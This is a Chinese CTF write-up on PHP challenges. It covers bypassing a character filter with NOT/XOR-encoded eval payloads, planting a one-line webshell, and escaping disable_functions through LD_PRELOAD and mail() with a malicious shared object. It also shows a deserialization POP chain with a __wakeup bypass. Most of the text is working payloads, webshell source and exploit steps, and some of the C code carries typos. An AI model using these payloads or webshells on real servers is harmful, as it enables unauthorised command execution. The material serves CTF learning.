取反或异或绕过以及disable_function禁用绕过

取反或异或绕过以及disable_function禁用绕过

打开页面后,我们查源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
?>

发现有两个过滤

1
2
3
1. strlen($code)>40

2. preg_match("/[A-Za-z0-9]+/",$code)

可以知道我们get提交的的数据的长度要大于40,而且正则过滤了大小写字母和数字,所以我们此时发现各类函数好像都被过滤了,所以我们可以使用异或或取反来绕过,构造

1
2
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//${_GET}{%ff}();&%ff=phpinfo

来查看php版本,发现它的disable_function过滤掉了许多的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
禁用的函数:
pcntl_alarm,
pcntl_fork,
pcntl_waitpid,
pcntl_wait,
pcntl_wifexited,
pcntl_wifstopped,
pcntl_wifsignaled,
pcntl_wifcontinued,
pcntl_wexitstatus,
pcntl_wtermsig,
pcntl_wstopsig,
pcntl_signal,
pcntl_signal_get_handler,
pcntl_signal_dispatch,
pcntl_get_last_error,
pcntl_strerror,
pcntl_sigprocmask,
pcntl_sigwaitinfo,
pcntl_sigtimedwait,
pcntl_exec,
pcntl_getpriority,
pcntl_setpriority,
pcntl_async_signals,
system,
exec,
shell_exec,
popen,proc_open,
passthru,
symlink,
link,
syslog,
imap_open,ld,dl

所以我们可以利用eval()函数来上传一个木马并连上蚁剑来获得shell

1
2
3
4
<?php
$str1="assert";
echo urlencode(~$str1);
?>

可以利用上面的脚本来构造木马

1
assert(eval($_POST[mochu7]))

因此,我们可以构造payload

1
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);

然后post提交

1
mochu7=phpinfo();

发现可以看见php版本,所以我们使用蚁剑来连接到后台,然后发现flag文件,但是什么都读不出来,然后点击/readflag,是乱码,所以发现由于disable_function禁用了太多的命令函数了,所以这个shell有很多命令都执行不了,但是蚁键有个插件是绕过disable_function的,选用并选PHP7_GC_UAF模式,然后在蚁剑命令行输入

1
/readflag

绕过即可,但是我是不能用,不知为何,所以可以使用LD_preload+mail劫持so来执行系统命令

LD_prelosd+mail劫持so来执行系统命令

通常在webshell中无法执行命令的话,有三种情况

1
2
3
4
5
1. php.ini中使用disable_functions指示器禁用了system()、exec()等命令执行的函数

2. web进程运行在rbash这类受限shell环境中

3. waf拦劫

第一种是完全不能执行命令,而另外两种是可以执行少量命令,而绕过第一种disable_function的方法有四种

1
2
3
4
5
6
7
1. 攻击后端组件,寻找存在命令注入的、web应用常用的后端组件,如:ImageMagick 的魔图漏洞、bash 的破壳漏洞

2. 寻找漏网函数,如比较偏的函数: popen()、proc_open()、pcntl_exec()

3. mod_cgi模式,尝试修改.htaccess文件来调整请求访问路由,来绕过php.ini中的任何限制

4. 利用环境变量LD_PRELOAD劫持系统函数,让外部程序加载恶意*.so,达到执行系统命令的效果

注意:ImageMagick存在命令注入漏洞的版本是v6.9.3-9或v7.0.1-0

我们可是尝试各种罕见的函数以及看php版本中是否有禁用mod_cgi模式,但是这里我们讲解第四种LD_PRELOAD劫持系统函数的方法

漏洞原理:

1
控制web启动新进程a.bin时,a.bin内部会调用系统函数b(),而b()位于系统共享对象c.so中,所以系统进程会加载c.so,但是在加载c.so前会优先加载可控的c_evil.so,而c_evil.so中有和b()同名的恶意函数,由于c_evil.so的优先级比较高,所以其实最后函数执行的地方会在c_evil.so中,而不是系统中,而c_evil.so可控,所以可以达到执行恶意代码的目的,因此,如果我们要实现上面的操作,我们可以做一下几步
  1. 查看进程调用系统函数明细

    命令:ldd /usr/bin/id #查看调用的API

    命令:nm -D /usr/bin/id 2>&1 或 readelf -Ws /usr/bin/id #查看该程序可能会调用的系统API明细

    命令:strace -f /usr/bin/id 2>&1 #跟踪实际API调用情况

  2. 操作系统环境下劫持系统函数注入代码

    由于被劫持系统函数需要有我们重新实现一次,所以函数原型必须一致,所以为了方便,一般选择常用无参的系统函数,如:getuid()函数就比较合适,可以使用man 2 getuid来看函数原型

  3. 找寻内部启动新进程的 PHP 函数

  4. PHP 环境下劫持系统函数注入代码

1
对于第二步,我们可以编写原型的getuid()函数

#include <unistd.h>
#include <sys/types.h>

uid_t getuid(void)
{
system(“echo ‘!! evil command here’”);
return 0;
}

1
我们再执行

gcc -shared -fPIC getuid_shadow.c -o getuid_shadow.so

1
编译成共享对象,最后借助环境变量LD_PRELOAD劫持系统函数getuid()来获取控制权,然后用

LD_PRELOAD=/root/getuid_shadow.so /usr/bin/id

1
2
3
4
5
6
7
8
9
10
测试代码是否成功执行,我在ubuntu发现不行,不知道为什么

虽然LD_PRELOAD为我们提供了劫持系统函数的能力,但是我们需要php启动外部程序才可以,所以我们可以尝试三个进程,分别是处理图片、请求网页、发送邮件

处理图片
image.php
```<?php
$img=new Imagick();
$img->newImage(500,300,'black','png')
?>

运行strace -f php image.php 2>&1 | grep -A2 -B2 execve 查看 Imagick() 是否启动新进程,发现只有一个execve是启动php解释器,必须要有第二个execve才说明是开启新进程

请求网页

1
2
3
4
5
6
7
<?php
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,"www.baidu.com");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$output=curl_exec($ch);
curl_close($ch);
?>

运行 strace -f php http.php 2>&1 | grep -A2 -B2 execve 查看 curl_init() 是否启动新进程,发现不是想要的

发送邮件

1
2
3
<?php
mail("a","h","c","d");
?>

运行 strace -f php mail.php 2>&1 | grep -A2 -B2 execve 查看 mail() 是否启动新进程,发现有两个execve(),满足需求

因此,我们可以在php环境下劫持系统函数注入代码
mail.php

1
2
3
4
<?php
putenv("LD_PRELOAD=/root/getuid_shadow.so");
mail("a","b","c","d");
?>

将main.php文件和getuid_shadow.so文件放进同一目录里,/var/www/
执行main.php后,发现在不借助任何php命令执行函数的情况下执行了getuid_shadow.so文件的命令

根据前面的mail.php,可以写一个木马bypass_disablefunc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
?>

其中cmd参数是待执行命令,outpath参数为保存命令执行输出结果的文件路径,sopath参数是指定劫持系统函数的共享对象的绝对路径(如:/var/www/bypass_disablefunc_x64.so)

木马其中的

1
putenv("EVIL_CMDLINE=" . $evil_cmdline);

是向 bypass_disablefunc_x64.so 文件传递具体的命令行信息的

但是在真实环境中,存在两方面问题:一是,某些环境中,web 禁止启用 senmail、甚至系统上根本未安装 sendmail,也就谈不上劫持 getuid(),通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件;二是,即便目标可以启用 sendmail,由于未将主机名(hostname 输出)添加进 hosts 中,导致每次运行 sendmail 都要耗时半分钟等待域名解析超时返回,www-data 也无法将主机名加入 hosts(如,127.0.0.1 lamp、lamp.、lamp.com),所以我们可以使用__attribute__((constructor)) 修饰的函数来代替,而且用 LD_PRELOAD 手法突破 disable_functions 无法做到百分百成功,正因为这个原因,我们不要局限于仅劫持某一函数,而应考虑劫持共享对象,bypass_disablefunc.c源码:

1
2
3
4
5
6
7
8
9
10
11
12
#define _GNU_SOURCE

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__((__contructor__)) void preloadme(void)
{
unsetenv("LD_PRELOAD");
const char* cmdline=getenv("EVIL_CMDLINE"):
system(cmdline);
}

用命令

1
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so

生成bypass_disablefunc_x64.so即可,32位的加上-m32选项即可

回到题目本身,我们发现有disable_function时,我们就是用LD_PRELOAD+mail来绕过,我们可以在https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD,下载已经写好的bypass_disablefunc_x64.so,用蚁剑上传到/var/tmp文件夹中,然后将上面的木马改一下

1
2
3
4
5
6
7
8
9
10
11
12
<?php
// exp.php
$cmd = "/readflag";
$out_path = "/var/tmp/1.txt";
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = "/var/tmp/bypass_disablefunc_x64.so";
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>

然后也用蚁剑上传上去即可,然后用include函数来包含exp.php文件,从而启动新进程来触发漏洞

1
?code=$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=assert&___=include%20%22/var/tmp/exp.php%22;

即可获得flag

实例2(天翼杯easy_eval)

打开页面,可以看见源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php   
class A{
public $code = "";
function __call($method,$args){
eval($this->code);

}
function __wakeup(){
$this->code = "";
}
}

class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}


}else{
highlight_file(__FILE__);
}

我们可以在源码中可以看见一个eval()这个危险函数,所以我们可以试着构造一个pop链来控制$this->code参数的值来执行恶意代码,而__call()这个魔术方法是在类调用不可访问对象时触发的,所以我们可以写一个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class A{
public $code='eval($_POST[1]);';
}
class B{
public $a;
}

$b=new B();
$b->a=new A();

echo serialize($b);
?>

可以得到

1
O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:15:"eval($_POST[1]);";}}

因为正则过滤中过滤了B和A的大写,但是php中的类对大小写不怎么区分,所以可以使用小写的b和a,而反序列化时会触发__wakeup()的魔术方法,而如果序列化字符串中对象属性个数的值大于真实个数的属性时,会绕过__wakeup()魔术方法,所以最后的序列化字符串为

1
O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:15:"eval($_POST[1]);";}}

然后用蚁剑连接即可,我在本地测试时,发现$_GET[1]的一句话木马用蚁剑连接可能连接不上,建议使用$_POST[1]的一句话,然后查看php版本中的disable_function,发现有许多的函数被禁用了,所以可以启动子程序,并在子程序中有被禁的函数,所以我们可以在子程序中执行被禁的函数,因此可以使用我上面写的恶意so文件劫持系统函数,从而绕过disbale_function

我们只需将so文件上传到tmp目录中,然后用蚁剑的redis插件加载恶意模块rce
``
module load /tmp/exp.so

1
然后就拿到shell了,执行命令查看目录

system.exec ls

```
但是我的蚁剑好像无法加redis插件,所以我们利用上面我写的php文件,来通过php函数来加载子进程,从而执行恶意代码,当然蚁剑中也有bypass disable_function模块,但是好像这里也用不了

参考文章

PHP代码执行中出现过滤限制的绕过执行方法:
https://blog.csdn.net/mochu7777777/article/details/104631142

巧用LD_PRELOAD突破disable_functions :
https://www.freebuf.com/articles/web/192052.html